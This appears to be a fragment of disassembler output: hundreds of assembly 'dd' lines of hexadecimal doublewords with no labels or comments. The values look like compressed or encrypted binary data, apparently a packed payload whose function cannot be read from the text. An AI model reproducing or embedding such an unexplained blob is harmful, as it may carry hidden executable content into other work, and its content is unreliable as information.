		dd 20545043h, 0C1754F26h, 77726418h, 0F9034978h, 0D230C931h
		dd 644001B0h, 5F8E6962h, 5309258h, 1392006h, 382D2994h
		dd 2A3921E6h, 52D8652Eh, 5BF7901Ch, 32F427BBh, 3D5B3115h
		dd 0DDAA7A10h, 69570002h, 776F646Eh, 33147354h,	1C303529h
		dd 8372A3Ch, 90101ED1h,	0C228D08h, 0C4201C03h, 284F215Eh
		dd 62316536h, 893333Ch,	41688ABFh, 2E756463h, 5B846E25h
		dd 7508E610h, 8F5797Fh,	69752A71h, 79732910h, 11641718h
		dd 721F187Bh, 86FD46Eh,	0C770668Fh, 6E0E646Dh, 7481996Bh
		dd 77631051h, 48696C01h, 19DD7034h, 0CA726F08h,	8D13863h
		dd 0D0BC6E44h, 526F44D9h, 0B7415208h, 47BB214Fh, 0E7F40A53h
		dd 1F4EE743h, 442472FDh, 0CCFC9EA8h, 63377A59h,	8ADE7F6Ch
		dd 5309836Dh, 8ADA0869h, 50412003h, 1F65A549h, 531FE01Fh
		dd 59414CC7h, 46854604h, 52A2DF14h, 0BE3F9C4Fh,	5237684Bh
		dd 21022B73h, 0D825A2D9h, 555490DCh, 967F83A3h,	4D164265h
		dd 77212100h, 0D1636265h, 8AB620D2h, 4E940ADDh,	910DD054h
		dd 9857901Ch, 90637370h, 0A66EE203h, 0CC55EA38h, 47125040h
		dd 685556FBh, 65392486h, 11633278h, 20486054h, 1A417542h
		dd 0C74F444Bh, 3FE09F3Ch, 4E3D7038h, 4C0F0186h,	61691031h
		dd 10C0DC1Ch, 74666F53h, 0CE616F77h, 52414B7Eh,	4C44A748h
		dd 6B6314A0h, 65507324h, 6A5751C1h, 0C702B0C2h,	18242844h
		dd 15FF133Ch, 8B4880CCh, 75F285F8h, 595F030Fh, 0FA2E3BC3h
		dd 5024B056h, 0D83CC857h, 0F685F040h, 5E042875h, 8D54401Fh
		dd 8054C74h, 93E06851h,	56526E81h, 77D44091h, 0D0358B1Bh
		dd 73D6EB0Fh, 883CA60h,	3CC192Ah, 83ECF455h, 81F8E41Dh
		dd 88050C4Ah, 85D19BEh,	57EC7550h, 8D0913EBh, 0F441C9A4h
		dd 747989FFh, 10881454h, 60330144h, 5C3920C0h, 74001484h
		dd 0F8834006h, 0DAF47201h, 0B07A5A0Bh, 0C022181h, 0B902CE50h
		dd 0BC8D5918h, 0FC72471h, 369CABF3h, 6A502A1Ch,	111820C3h
		dd 51A0978Bh, 0FE32E856h, 7C85341Dh, 682E3262h,	8D044B72h
		dd 1202494h, 0E488AA10h, 7482ACB7h, 8DD9A265h, 817AF84h
		dd 0CAE01153h, 5384414Eh, 213EBDE8h, 3C24C453h,	0D068756h
		dd 441A326Ah, 245AE980h, 5E5FA700h, 48E58B5Bh, 143075Dh
		dd 0ACA21094h, 0C4575610h, 47042889h, 11190268h, 0C5560888h
		dd 480F73F2h, 2D941CD1h, 10072E65h, 2920957Fh, 0F187C8Eh
		dd 803DB384h, 2124197Ch, 12A85201h, 22704966h, 124A75D3h
		dd 4689D233h, 0D066A9Ch, 1441876h, 8802F820h, 40926628h
		dd 0F0DE1C41h, 0CC1E7469h, 0C962050h, 0C6AD1C9h, 9014382Fh
		dd 0FA18A4D8h, 0D5818611h, 2CAE928Dh, 44C66131h, 8FF0205h
		dd 74432375h, 5B291712h, 45286A32h, 140F332Dh, 42E16747h
		dd 405A2223h, 2885514Ch, 0A06CE188h, 8C48309h, 0FA71414h
		dd 1014B34Fh, 0D4446C4Ch, 10BFC401h, 9A38E50h, 90B80975h
		dd 52C25E13h, 83BEB04h,	0C74560Ah, 1DA4D74h, 57B4E814h
		dd 480E9A5Ch, 5A825A50h, 8B0003F0h, 0A2F8248Ch,	0F4B98607h
		dd 48D3F0Fh, 3F384A48h,	89CF0F26h, 0F5905251h, 458403E8h
		dd 756D4104h, 0FC4D9025h, 50043298h, 0C60BA2F9h, 0FC510C26h
		dd 15F85247h, 74182508h, 0C481D209h, 0FF405AA2h, 5149240Ch
		dd 632F6C41h, 8715A608h, 0EC830680h, 896E5620h,	22937BE2h
		dd 0C440809h, 64E8A410h, 88181330h, 577E1C86h, 88F2D4A3h
		dd 8CFB744h, 99CF802Ch,	6280FEF7h, 411120C2h, 57F38FA3h
		dd 0C07C01C3h, 699977A4h, 7548A81h, 1D4848FFh, 6474A2F4h
		dd 24844293h, 32852C7h,	0E4512049h, 0BC328013h,	0B2FA4201h
		dd 0C7E08CE6h, 87C9AB18h, 0C83564D8h, 8B80040Dh, 750C7348h
		dd 0E71C8111h
		dd 0A49251E2h, 14140FA9h, 4212084Ch, 171226A5h,	490F7558h
		dd 1F9F7C56h, 79E537C8h, 55C60405h, 0C0847007h,	0C7441206h
		dd 1230530h, 3559398Ch,	430906DDh, 1140CC90h, 5116199Ah
		dd 1A505AE8h, 73184996h, 10B4FE66h, 81F8745Ah, 2AA2A10Bh
		dd 1B065592h, 2A25FC3Dh, 0F08A046Ah, 6683752h, 0D2B70E18h
		dd 0B8A156D9h, 9A138820h, 4638D7BFh, 5682B2Dh, 3328B01Ch
		dd 79F755EDh, 0D48D32E9h, 5184A43Ch, 0B8804ADCh, 32344428h
		dd 0C319742Bh, 5F0A70A1h, 72239B5Dh, 2184E032h,	0B2906853h
		dd 6438E93Dh, 51C3822h,	6C6D8940h, 7CF519E2h, 281133B1h
		dd 50D21654h, 0DDD4EB8Bh, 221DD26Fh, 0A04950A3h, 0D30F3038h
		dd 300470C8h, 11506838h, 78BE1799h, 154C27C8h, 0D8212F51h
		dd 8B5F1894h, 0B4912E34h, 0A948224Eh, 19882C66h, 12AE4030h
		dd 9814A3CCh, 873B17Dh,	87A40444h, 2E20984Dh, 101C64ACh
		dd 4517D957h, 9F719DFFh, 216814D3h, 3DAF48Bh, 8352B28h
		dd 5C800766h, 8AF2F440h, 1F388686h, 74343C0Eh, 80358E27h
		dd 0FD834523h, 957C2406h, 215BD912h, 57713613h,	951D4716h
		dd 491B46FBh, 4C53B270h, 56552609h, 591447D3h, 0A5AE8708h
		dd 2F742B02h, 0B500D0BAh, 0B9C62BD3h, 0C13B5AA0h, 8B0A7C1Fh
		dd 0E008D96h, 7548E1D1h, 0BE0F0BF8h, 0C1033744h, 0AFC030E8h
		dd 4EEC03C1h, 0CBD87526h, 5DC58B03h, 50B8485Bh,	5E5BC835h
		dd 910FB436h, 281098B7h, 740593D7h, 8F32E468h, 9A1FEC94h
		dd 840F1962h, 8F5347BCh, 8DB48BF4h, 392415DCh, 0D4688888h
		dd 115F51D2h, 0D7212D92h, 8889C603h, 2907F6D5h,	874C334h
		dd 30F42B7Eh, 1164F32Ch, 0A6A5484h, 0C0188C92h,	5C4CE8E1h
		dd 0C8948FCh, 4344771Bh, 0C4686830h, 51CC0D87h,	33521A60h
		dd 0D1401CDBh, 0C0A21A7Eh, 0FC1C8DC1h, 56C7520h, 925F0E92h
		dd 6050F881h, 0D83B3443h, 83DFE87Ch, 3DC0C421h,	0ACF9DFA9h
		dd 3490444Eh, 10A7BA0Eh, 0B9B8D1Bh, 4BD46881h, 0A2A9422Bh
		dd 54C1954h, 0A3E8B780h, 40A9ACFBh, 0C8875044h,	0E5A94882h
		dd 9A76D18h, 20A70AC2h,	0E4504344h, 3434D7B3h, 0CDA72DD6h
		dd 34AB655Fh, 14474DBh,	0B964626Ah, 4D6C8C15h, 0C4F41282h
		dd 10052D12h, 44069C68h, 850DB9A2h, 1F8C1588h, 3C7AFC49h
		dd 5AE4035Ch, 0B475621Ch, 89F0A26Fh, 0C85006EEh, 8C23837h
		dd 11202E4Eh, 9C7D06A0h, 0CB204521h, 90384C5Ah,	0A0625881h
		dd 0DCBD066Ah, 2C551729h, 6874F8EBh, 25B72759h,	3CF2997Ch
		dd 404F0D06h, 0DD9DE135h, 513CE000h, 10DDB957h,	66E82E46h
		dd 5548F64Fh, 358B8BECh, 0C2495219h, 52202D48h,	667DAEF1h
		dd 614DF091h, 0B6B50F37h, 24C91612h, 668D1AD6h,	2C619874h
		dd 63A1031Ch, 0BDD7AC89h, 0BBBCDD15h, 11A3D3EEh, 1165782Ch
		dd 0C57B2430h, 75F461F9h, 4BF03D08h, 4C6AC123h,	0EA4A917h
		dd 2C11B0E0h, 33C3A957h, 94571DC9h, 28D2D4C1h, 0BC21278h
		dd 3D850ACAh, 231D1338h, 4A9C6CDh, 2A3433A6h, 73C48DE4h
		dd 495302ACh, 0F8922D70h, 8A877A7h, 188999A0h, 0A1892552h
		dd 7AA9225Eh, 194842B4h, 0C8949051h, 498A3452h,	0DB245035h
		dd 5437D2D5h, 0A0B0A08Ah, 3C888012h, 0DEE8620h,	959087A6h
		dd 7019C652h, 5B0421A5h, 40239C0Fh, 85C29FB8h, 290C0980h
		dd 231B8820h, 0A8431A55h, 0B8AE7348h, 9E12DC29h, 50987A6Ah
		dd 58336809h, 0D433D0C0h, 2143C72Fh, 0CC541108h, 61C45C84h
		dd 6418C060h, 6811B846h, 0AC6C84B4h, 18A87461h,	10A44678h
		dd 0F6999C7Ch, 93941280h, 8C48EC0Bh, 0E35F88C4h, 7C238C11h
		dd 74239011h, 6C239411h, 64229811h, 0AC9C8940h,	9D1848B4h
		dd 8B075022h, 1BDBF7D8h, 126DB92Ah, 0FFDFDD07h,	8508C059h
		dd 0B14274D8h, 5C043AE3h, 84404C84h, 52E7317Dh,	42354A53h
		dd 4C114226h, 43675965h, 75C80237h, 7C83C9h, 0C870F12h
		dd 85B32096h, 3485F0FFh, 86719926h, 0C95C6805h,	0F9FCE926h
		dd 54420EA2h, 433EE23h,	3091902h, 24C0CF68h, 708AC556h
		dd 68604490h, 8E424027h, 1CD5B9E3h, 64782293h, 908E1BBh
		dd 0A0F23C10h, 23E88B2Ch, 5C225552h, 92D94C4Dh,	90640216h
		dd 9B9C8924h, 50C31303h, 0A4966755h, 0E57507D8h, 8C445DECh
		dd 1E31554Bh, 0CF456C8Bh, 236527E3h, 28725268h,	10905387h
		dd 2F72EEDDh, 9B2FD96Ch, 1D220F7Ch, 27E92A70h, 162AA5CAh
		dd 200062C6h, 0FD918264h, 80257E01h, 1A400CBCh,	0D16752Ch
		dd 3FB8343h, 2E0E1040h,	0AA6087Eh, 3B0941E0h, 94DB7CC8h
		dd 0E853A864h, 2C1AC845h, 0C24F646Ah, 57FFF96Bh, 0B932442Fh
		dd 51D802AAh, 7108E3C1h, 6C8D8336h, 0E8210128h,	47E88D2Ch
		dd 45D40649h, 4BAD8FC8h, 62C3011h, 48F44556h, 33BB30ACh
		dd 2FB122AAh, 3C683204h, 586B8388h, 68A18B04h, 22D53634h
		dd 95009CACh, 520B4894h, 440468h, 30225450h, 0A7A3A5B3h
		dd 3A045832h, 46F93CC6h, 50582C2Eh, 10E9A1FFh, 0B89EB7A7h
		dd 2C95ADB1h, 0AC5324C2h, 288859CBh, 0A5D9ACDDh, 0A26F223Dh
		dd 55711101h, 5CE86D58h, 93713CB8h, 0A79F4ADCh,	9CC63B33h
		dd 0B2C81DD5h, 62CFF17Ch, 3A748EE9h, 0A46BC95h,	0DF427540h
		dd 0A395B290h, 3A64B722h, 5C48B811h, 0DB61B997h, 91098h
		dd 680A7451h, 0E9A72863h, 50857A49h, 8A3F0A20h,	5FB3E914h
		dd 498D99BEh, 5F081CBFh, 4451755Dh, 0B7A5200Ah,	0DFC42F2Ch
		dd 0BD69558Bh, 5A24A33Ah, 2992D5EFh, 21501A67h,	0DE516FADh
		dd 0A019E921h, 88336203h, 3C8AF280h, 8C74651Ch,	40F853DDh
		dd 56C38B1h, 4DF89255h,	6693D720h, 0A442FD15h, 4417532Ch
		dd 52D0CE64h, 51E8F1B7h, 18F66362h, 18111599h, 38D38456h
		dd 1144141Dh, 0E702580Ah, 428694B8h, 0D515FD52h, 582C1CA4h
		dd 8BECE750h, 84E163F5h, 0D06B51CBh, 26A0218Dh,	464DF4E1h
		dd 946A2597h, 582AC9DBh, 1842CA14h, 52012511h, 0D85CC8E6h
		dd 31870109h, 0D041C81h, 8F114E6h, 0F23BD0E5h, 0B6B18564h
		dd 42010F0h, 4DA41586h,	0FF50684Ah, 71A0A239h, 0AA189F19h
		dd 0CE9C466Bh, 512B139Eh, 0E68B231Dh, 62A15550h, 62A17D21h
		dd 62A346A1h, 3D3FEB63h, 0FCB91117h, 16A934C4h,	5D46FAF4h
		dd 1AEB18E7h, 0FF06822h, 3C91E947h, 1709EB19h, 49E8ED07h
		dd 18C8522Bh, 1C90E4F3h, 38F38993h, 3E73EA75h, 0A67DF78Dh
		dd 38A0B66Fh, 211DE998h, 1F66D290h, 4409E01Ch, 2040B8EEh
		dd 0CC214071h, 81225188h, 23D511EDh, 2249901h, 48D324B7h
		dd 253E88F7h, 0A8229D11h, 0C8E99244h, 0E8A5BD29h, 13F883ECh
		dd 0A40D7502h, 0C29EC484h, 0D3C2C08Eh, 0FB083493h, 8341D425h
		dd 21532CECh, 0B7242A5Eh, 8013C6BDh, 30AD8826h,	8489C2Ah
		dd 0BBD40C5Eh, 1432E2BCh, 1C241809h, 2844625Fh,	0ACA0C82Ch
		dd 68035399h, 6FAA5D7Bh, 0A6A4748h, 144C04D3h, 49141CCFh
		dd 83AEE13h, 0B0C87CCCh, 48F43B97h, 0A752F04h, 835BC690h
		dd 0C32CC409h, 3B258A56h, 93687809h, 0D8766AEh,	61C50A40h
		dd 40ACE5E8h, 3BF08B03h, 5EC275F3h, 550C2D94h, 8DB42D8Bh
		dd 9564C57h, 0E2147487h, 7CA1B83Dh, 2B040A68h, 80BC5F26h
		dd 0A55D5FE2h, 0F4689E30h, 0D0D8B88Dh, 5B0A8C33h, 11848C3Ch
		dd 196A0E59h, 192A5140h, 0B26401Ah, 358B138Eh, 5B32E2BCh
		dd 0E527A4Dh, 893CBFA8h, 692FCC5Ch, 0D3536AD0h,	0E0A16812h
		dd 225702A4h, 0AEEADDC0h
		dd 0DD3B62AFh, 655DC186h, 22C48128h, 1C9FC364h,	86A5742h
		dd 0D0D6E452h, 42121036h, 2520200Ch, 834808B9h,	0F6121BC8h
		dd 92B9E681h, 0F6141640h, 0AF2CE1C6h, 8B822088h, 0F0FD3BF8h
		dd 4975F63Ah, 8A775017h, 0EE8CA1D8h, 0A6896086h, 4B4B2F14h
		dd 9419266h, 4FC7508Bh,	304E0670h, 784E9352h, 2D74BE88h
		dd 872B5350h, 665AC8D2h, 0F4807266h, 69B89889h,	0B02F158Ah
		dd 90880734h, 986294C4h, 9CF9B411h, 0BC99A018h,	3BFD3C98h
		dd 0C2B1D7C5h, 692BAFE3h, 14562C1Ch, 6C9F4520h,	13968D43h
		dd 9742E72Dh, 17C46826h, 46A11CCCh, 0A525153h, 533059C9h
		dd 47731865h, 7416F53Bh, 0E98C8D13h, 1D565050h,	145E8A34h
		dd 0F7A8327h, 417FAEAFh, 0F9128B4Ch, 6AD61855h,	48D1B02h
		dd 980A11B5h, 0DD03EFC1h, 8436380Ah, 0BDC08343h, 7642ED22h
		dd 4A80B26h, 4A4E0E64h,	728CB597h, 3F0B9154h, 52C9594Ch
		dd 424841E8h, 6CEF4D50h, 5A24EEEh, 582DED44h, 603E9928h
		dd 44641D42h, 1C5ED00Ch, 68096837h, 742D7091h, 92780041h
		dd 0DC847C11h, 4693DAA9h, 0C72B7526h, 382888D9h, 2048CB16h
		dd 0C28A7FDCh, 0E72D506Fh, 55A29922h, 6A09B3F9h, 328B790Eh
		dd 0B5336C69h, 48281832h, 5250489Bh, 0F511851h,	39871E3Ah
		dd 14BF1AB2h, 0D9502091h, 147E238Ch, 0D93A5651h, 57182834h
		dd 65135053h, 5427700Fh, 93725115h, 52421454h, 9893992h
		dd 572D9419h, 0E07CB9ACh, 2CFCB8B3h, 0DB034E38h, 66A133Ah
		dd 68C6BFB3h, 26A93FE9h, 76462218h, 28D41195h, 3A97411Fh
		dd 542EB122h, 0C8D1EFD4h, 3DA44B1Dh, 0A3CBA856h, 0D8A31418h
		dd 0D38BD413h, 3379F066h, 258FC65Dh, 4B0EE421h,	3CB5316Ah
		dd 40141602h, 18944C7h,	483D9B36h, 0C9DC9BCAh, 459794C1h
		dd 0CE203EB8h, 47393C4Ch, 188A3051h, 25D23330h,	4A48F980h
		dd 2990E88Bh, 3B0A14C8h, 74D00B06h, 34DCF607h, 302EB02h
		dd 4AFAD8FDh, 0EEF78DEDh, 956E6614h, 846F418Ah,	725E89BEh
		dd 50EBCB88h, 0F383CC6Ch, 781451DBh, 28BE3404h,	389FC0EDh
		dd 954B7E2Dh, 332D16E2h, 37BD7D8Eh, 0DB4AAC2h, 74D10B41h
		dd 35695405h, 0AFB7F11Bh, 0C1B7A337h, 6362585h,	314CB743h
		dd 4B47CACBh, 7CF83B40h, 3D8B2FB9h, 0D068BCA1h,	67233B13h
		dd 81F24B34h, 492C7556h, 353AF5D8h, 0AC66DA05h,	76EA1F50h
		dd 4180974h, 0EB4DC868h, 0CADBFB07h, 945A4CB4h,	0ACAF4FA4h
		dd 2AF1B3B3h, 2B4F3C52h, 4BE81788h, 4C6C82Dh, 759A35B6h
		dd 94BA6176h, 0F2163B48h, 74108D7Ch, 51114C88h,	520254C8h
		dd 34F9B2E8h, 76C8768Eh, 5B54D15Ch, 0CE173BB2h,	2040810Ah
		dd 619D764Eh, 6E3A156Ah, 11026573h, 68378155h, 0E93F8630h
		dd 861AFDECh, 0EE229A21h, 21C66BE9h, 11D48092h,	2008AEA4h
		dd 10612E02h, 0F4B49384h, 3BD6812Ch, 0B1F46F62h, 0F0162CE7h
		dd 58830477h, 30342A32h, 88BABC61h, 61E99C0Ch, 94895096h
		dd 6B4C4D90h, 2D3E797Fh, 82CBD194h, 148A7228h, 2CE65DE8h
		dd 32DA083Ch, 737C5F50h, 0DA022008h, 9D1C8C05h,	35B9073Ah
		dd 91417405h, 114798D7h, 83A71CE8h, 4782D2C6h, 32CCE48h
		dd 0CDEC4E8Bh, 0F40755A7h, 2E580430h, 22884F7h,	2598A252h
		dd 0D38399D7h, 325452Ah, 0FF49F5EEh, 683642C5h,	41D11420h
		dd 64032C08h, 8B18ED50h, 0E2A64693h, 10688802h,	237147DDh
		dd 4A1E880h, 4522A0E9h,	919E7871h, 302020F5h, 68754815h
		dd 0D7911408h, 31A32096h, 0D4448B77h, 16AD5045h, 5334681Ch
		dd 47FD3924h, 9B668A77h, 483A8B9Fh, 8B012C15h, 23E81E12h
		dd 0DEDF0956h, 645B3549h, 0EC1A10DBh, 96B93D5Ah, 0E3051C7Eh
		dd 0BDE6560Ah, 14E8AC3h, 94C4169Ah, 17315A45h, 0B24DFAE0h
		dd 0BD857233h, 0A201CA04h, 4FEC4906h, 646E6BDDh, 62F13943h
		dd 0D78B5991h, 89143A31h, 214509BCh, 0C8373F9Fh, 2230C47Bh
		dd 0ABB50234h, 14469983h, 3640656Fh, 6CA63EB2h,	4FF4F68Ah
		dd 8C95F4E8h, 0F8680A0Ah, 83E02013h, 1C5203E9h,	330804C6h
		dd 9DBC843Bh, 7A270D9Dh, 0E427F104h, 0D24E36DEh, 70511C5Bh
		dd 8091B6A4h, 752A2D48h, 0E8D613A8h, 0EBD844BDh, 0B470F9F2h
		dd 3A85381h, 858D357Bh,	85B57140h, 5C1D65ECh, 0D708BB7h
		dd 510C4061h, 1442958Dh, 2982EE52h, 0AD220584h,	54859BAAh
		dd 0F71C45E3h, 0C0F02D62h, 69840FE7h, 970433CAh, 0F8285278h
		dd 6858BED7h, 2CD812A0h, 2B055A1h, 8B0A1E8Ah, 7916A5A3h
		dd 0FC588E80h, 0C922518Ah, 0CE32E8D9h, 94CDACE8h, 0F84515C7h
		dd 890DA108h, 0D7A8F44Dh, 0B989FCE3h, 504F3A3Eh, 358D217Dh
		dd 2E8F4158h, 756AA4F3h, 36804113h, 41C76B43h, 6EFF44ECh
		dd 0F86E5475h, 322FD0C9h, 9D255CFh, 0C8667C20h,	6CEB1BB5h
		dd 53DBACDAh, 0EC546851h, 0D299E71Eh, 0D5CD08A5h, 0F3149C59h
		dd 0CBE986FDh, 0D0B09E2Fh, 4D9301B4h, 672FB02Eh, 125CA4D7h
		dd 0A84A0466h, 0C8921248h, 26DC1B0Ch, 29044BA7h, 27C729F5h
		dd 20AD471Ah, 0A3501A98h, 0DA5169B0h, 480BA194h, 0EE5027C2h
		dd 42F045B3h, 84294455h, 0C05480DEh, 2515959Eh,	44179C70h
		dd 88B1FC52h, 248AA01Ch, 0CAA916C0h, 0E329379h,	0B0D5EB46h
		dd 0ECC0C8D6h, 82E806C9h, 0A5BB84DCh, 0BC83488Fh, 560F13B4h
		dd 60A71A68h, 0A488DC67h, 64696BE4h, 0B204458Bh, 0BCD65EE3h
		dd 40502054h, 0FAD4E813h, 94B88335h, 319068A0h,	0D10570A2h
		dd 9F42435h, 0E31844ACh, 0AC6905C7h, 923C781Dh,	0EA33B78Ch
		dd 30405715h, 5428D99Bh, 0D0185202h, 53A3851Ch,	142AB08Ah
		dd 20E43CE8h, 0D19D6C2Dh, 0CC21884h, 951C251Ch,	14C85A2Eh
		dd 27240CB3h, 96F9BC19h, 103508C3h, 2710E008h, 0C6DCF9F0h
		dd 1444292Eh, 9128A5A8h, 0E1CC228Ah, 0AC451CE2h, 2021A1B8h
		dd 4374AE2h, 14884A44h,	0AC12CC59h, 642CF825h, 1C384068h
		dd 144BDC89h, 9E82B622h, 55DC9D5Dh, 32535781h, 2ECC335Fh
		dd 0B46C7164h, 616380B3h, 65724370h, 0DBE774EAh, 75691275h
		dd 6B077414h, 56440F0Eh, 9311BA49h, 1F698E28h, 72466E99h
		dd 43579FD3h, 0C9736FF3h, 4ABC6148h, 0AE9AE07Fh, 84526116h
		dd 0B8694664h, 14932B27h, 0FE704F8Fh, 6C48559Eh, 0B6921141h
		dd 62577F22h, 5445044Eh, 551C5BACh, 444C5219h, 0B0B36EE4h
		dd 1AC55486h, 890F6545h, 6E8A6DEFh, 0A4D477Ch, 421BC8A1h
		dd 6C9402A9h, 53030E1Ah, 500B03A6h, 6112AD6Fh, 57030447h
		dd 932B746Fh, 0AC46F3ACh, 47015B82h, 0D1532C91h, 0EE1C907Ah
		dd 61623862h, 3BC29D8Dh, 99F50382h, 0D0B7460Eh,	4C37C8ADh
		dd 70C77094h, 7473E18Eh, 79E56372h, 0AEBC9052h,	9CBD940Ch
		dd 4C4A503Ah, 69676F0Ch, 0CD446463h, 0B7A476DCh, 73F6FE34h
		dd 0D9D37036h, 3B4EDAC2h, 0AC62A7C4h, 810ACC9h,	11735372h
		dd 2FD2A70h, 0DE4351B2h, 6FB0D2A0h, 63893044h, 6020B87Ch
		dd 0F3FD7C70h, 8AE44242h, 0DF53D80Ch, 6D62B76Ch, 0C1BB3075h
		dd 6FD0423Dh, 44228D88h, 1A0695B8h, 441CF621h, 0D0284549h
		dd 8838E214h, 565E70ACh, 6D11DCB0h, 49883E70h, 0F24525F4h
		dd 2EE9514Ch, 0E23D92Fh, 5AA67B2Eh, 0F685433h, 4B200964h
		dd 0BF045245h, 2A1CCA4Ch, 6652BC8Eh, 72501236h,	3614E18h
		dd 25F3F302h, 1BF851BEh, 0E4BA4D51h, 0C1EB6761h, 0E349B199h
		dd 2849796Fh, 8253BC1h,	0B01E12A1h, 4901AD65h, 0C11B4DF7h
		dd 96E4D60h, 3E990610h
		dd 46EE1655h, 0E2A2806Fh, 7961D287h, 53550C10h,	801483A2h
		dd 0C23C8F49h, 0A86A624Fh, 0C6A1AEB2h, 42494404h, 0D5012E85h
		dd 62615472h, 84C2A32h,	9F8DA37Fh, 0DE0E3DACh, 625134F5h
		dd 3645322Eh, 26536233h, 26766923h, 0BB52A196h,	2D184332h
		dd 9C51209Bh, 8D0EA82Dh, 6B166C54h, 76DA64ABh, 38640462h
		dd 2E567370h, 48344C46h, 9B966840h, 0A901C9E2h,	4B8519B8h
		dd 0ECC179E1h, 15100E45h, 564C7BC5h, 0D90E6839h, 14E20A4Eh
		dd 434D1526h, 8AF91102h, 22A1FD10h, 9D446F4Eh, 90515095h
		dd 2CBCBF01h, 3E60114Bh, 0BF69616Dh, 1C80C47h, 83D1AF77h
		dd 1007A55h, 434BE38Bh,	36C8231Dh, 0A52B1540h, 1F6E03FBh
		dd 0BF47C4ABh, 4093BC80h, 7FEFBEB3h, 0B8366D18h, 6337030Ah
		dd 5B41347h, 4601CA8Bh,	0BB0684BFh, 40BA40ABh, 60084E37h
		dd 2F2B332Ah, 0DCEB22E6h, 0E3EF276Dh, 0C365B0FFh, 0AB2A8BEFh
		dd 52EE3C08h, 26043DC1h, 6800D37h, 28312C34h, 0C8E92213h
		dd 4377302Eh, 0A9AD2B01h, 6BAB5C83h, 0ECE2350h,	0EA1274BBh
		dd 0F7BF7A53h, 0F61B28DFh, 85C23F09h, 0C33642B1h, 5D36D07Dh
		dd 834FAB31h, 6DC57A72h, 0A6C775D1h, 0A0717E04h, 4B0259Bh
		dd 0AFAB6FE6h, 41292140h, 50CE76C8h, 0A14633C6h, 6F11332h
		dd 72ABA1EFh, 0BBC03780h, 7CC74CBCh, 0CB2B27C3h, 36530350h
		dd 41D1ABBFh, 23561062h, 1E1306B4h, 92444B7Fh, 42293416h
		dd 2B143282h, 1829CC93h, 5E332087h, 1E792A2Ah, 0A8BA7946h
		dd 5DF2B41h, 0ABD0DE3Eh, 83B336E9h, 255321ACh, 0FECE1486h
		dd 0BB0C7B37h, 845D84C0h, 14B844EFh, 0AB324AA6h, 91BF7B90h
		dd 6240FA20h, 64B08370h, 23231EE9h, 6464F427h, 0BF3750C4h
		dd 734131C4h, 903CC4C3h, 51C84246h, 3F3F4CE4h, 371446E9h
		dd 0ACB1BB7Dh, 0E8111B40h, 9363E241h, 4F40143Eh, 5F328414h
		dd 9D82227Fh, 3EB9808Ah, 6E220CF2h, 2EF945FBh, 2841A48Bh
		dd 3EC14F9Ch, 54DC953h,	4CB45CCh, 8ABD0444h, 362A81C3h
		dd 0B640F6B0h, 5E493783h, 4B6075BBh, 6D448534h,	0A3A83704h
		dd 784D10Ch, 0A8534667h, 4F818A15h, 5C900F5h, 4B064042h
		dd 22B353C8h, 14FFD29h,	40294F3Eh, 0D85E302Bh, 7ABCD15h
		dd 0CA250E6Dh, 4846544h, 42E8A750h, 8C6E2317h, 45314704h
		dd 4B0D2183h, 0C8034990h, 83C04F06h, 57AF049Dh,	8F20D813h
		dd 23EE4256h, 0FFE1557h, 43EBC768h, 3029254Eh, 990A535Bh
		dd 26CC6A41h, 84478C5Fh, 1029F464h, 14272402h, 0B20037A9h
		dd 0AB1E9A7Ah, 5AA486EAh, 651F7452h, 20305334h,	107A63B1h
		dd 0B3CAAB2Fh, 25DD3C54h, 0F4A83CA8h, 92FFA74Eh, 240C355Bh
		dd 8B0D4546h, 9FA2447h,	0FA0ACABCh, 0A8299FFDh,	534524BEh
		dd 8C3CB6F6h, 74705380h, 0AB9BD108h, 641F6875h,	54212B46h
		dd 0A4B9DB2h, 0F538CF97h, 8A797104h, 88901676h,	58376D12h
		dd 44498D22h, 0A50548A4h, 0AFA8820Fh, 94C8091Fh, 0B6319328h
		dd 4FC4F18h, 95A8050Ch,	0A423B18Bh, 90574CCEh, 0B2132B3Ch
		dd 0FC430939h, 4B1E3330h, 0CF40CA29h, 68022312h, 9241B306h
		dd 0E327B0EFh, 62A8C42h, 2B1CFFB1h, 0B7025B85h,	0B342CEABh
		dd 70DE09FCh, 1C8F03C8h, 3C3404BBh, 0BB0283B7h,	605329B3h
		dd 22B7097h, 0AE9BBDC9h, 26B124ABh, 9B182636h, 465369FEh
		dd 55076D31h, 86293D23h, 10AB233Ch, 73310753h, 307F08C8h
		dd 0A03B5A0Fh, 88406400h, 57CEB570h, 1F12EEF0h,	1351C863h
		dd 82540E90h, 41714440h, 7962C301h, 0E78B6AEh, 5483723h
		dd 315B32B8h, 348F9E30h, 30C850A8h, 4C466712h, 0E4FF57F4h
		dd 80F25F02h, 0D36647FCh, 1EBBCA0Ah, 0F281BB22h, 0C82344B3h
		dd 0BA4BF827h, 1B1E76A8h, 1A75BC24h, 65CA0C10h,	3121AB1Bh
		dd 1D862EAAh, 0D72CE810h, 48408F50h, 145D3791h,	825781C0h
		dd 0A0BB067Eh, 2577AB56h, 1BB33633h, 7380ECBFh,	68AB485Fh
		dd 6FA05902h, 0DF13370h, 0ABEFB04Fh, 0E624A053h, 671F0CCAh
		dd 0CCAEBB5Bh, 541B4540h, 39488122h, 1FF50770h,	1F4A4D7Eh
		dd 0E22C723Fh, 0BC7BF0C8h, 471BC81Ch, 80B554F0h, 98701D25h
		dd 1D2475C2h, 6A89402h,	0B440C800h, 0F07E259Bh,	80D0E662h
		dd 6ECB8123h, 0C4C4C543h, 6D761C13h, 8E77DD7Dh,	0A4466146h
		dd 520F18A6h, 8930264Eh, 1C744617h, 60BCBD94h, 53CCCE50h
		dd 90AAD01Ah, 0F7320319h, 3C41C4F0h, 7F6D3Dh, 56476267h
		dd 0E8212C58h, 0E4084F44h, 5E02BD53h, 247E6D43h, 62039441h
		dd 451E3C2Ch, 0AF482C38h, 0BA8B67Ah, 0B1C36864h, 75E06CBBh
		dd 633E2F73h, 7826E76Dh, 579CEF29h, 0E894592Dh,	9E7E7701h
		dd 0FE418FEh, 64723446h, 8B768474h, 2E35091Ch, 6F1D459Dh
		dd 931E869Eh, 0EB1FCE9Fh, 465C369Ch, 795D72DDh,	0A75E95DEh
		dd 0ED5FD1DFh, 60373BC7h, 0D7477727h, 1C81F767h, 4AC92938h
		dd 69D95DD1h, 0C2E995E1h, 1BF8D4F1h, 742C7239h,	78447632h
		dd 7C637A4Ah, 7E7A7E6Bh, 7EA97E8Eh, 7EC57EB9h, 1CF77EEEh
		dd 9D3E3A22h, 9E5B1D44h, 9F831E61h, 9FEA1FE0h, 3B0D87F0h
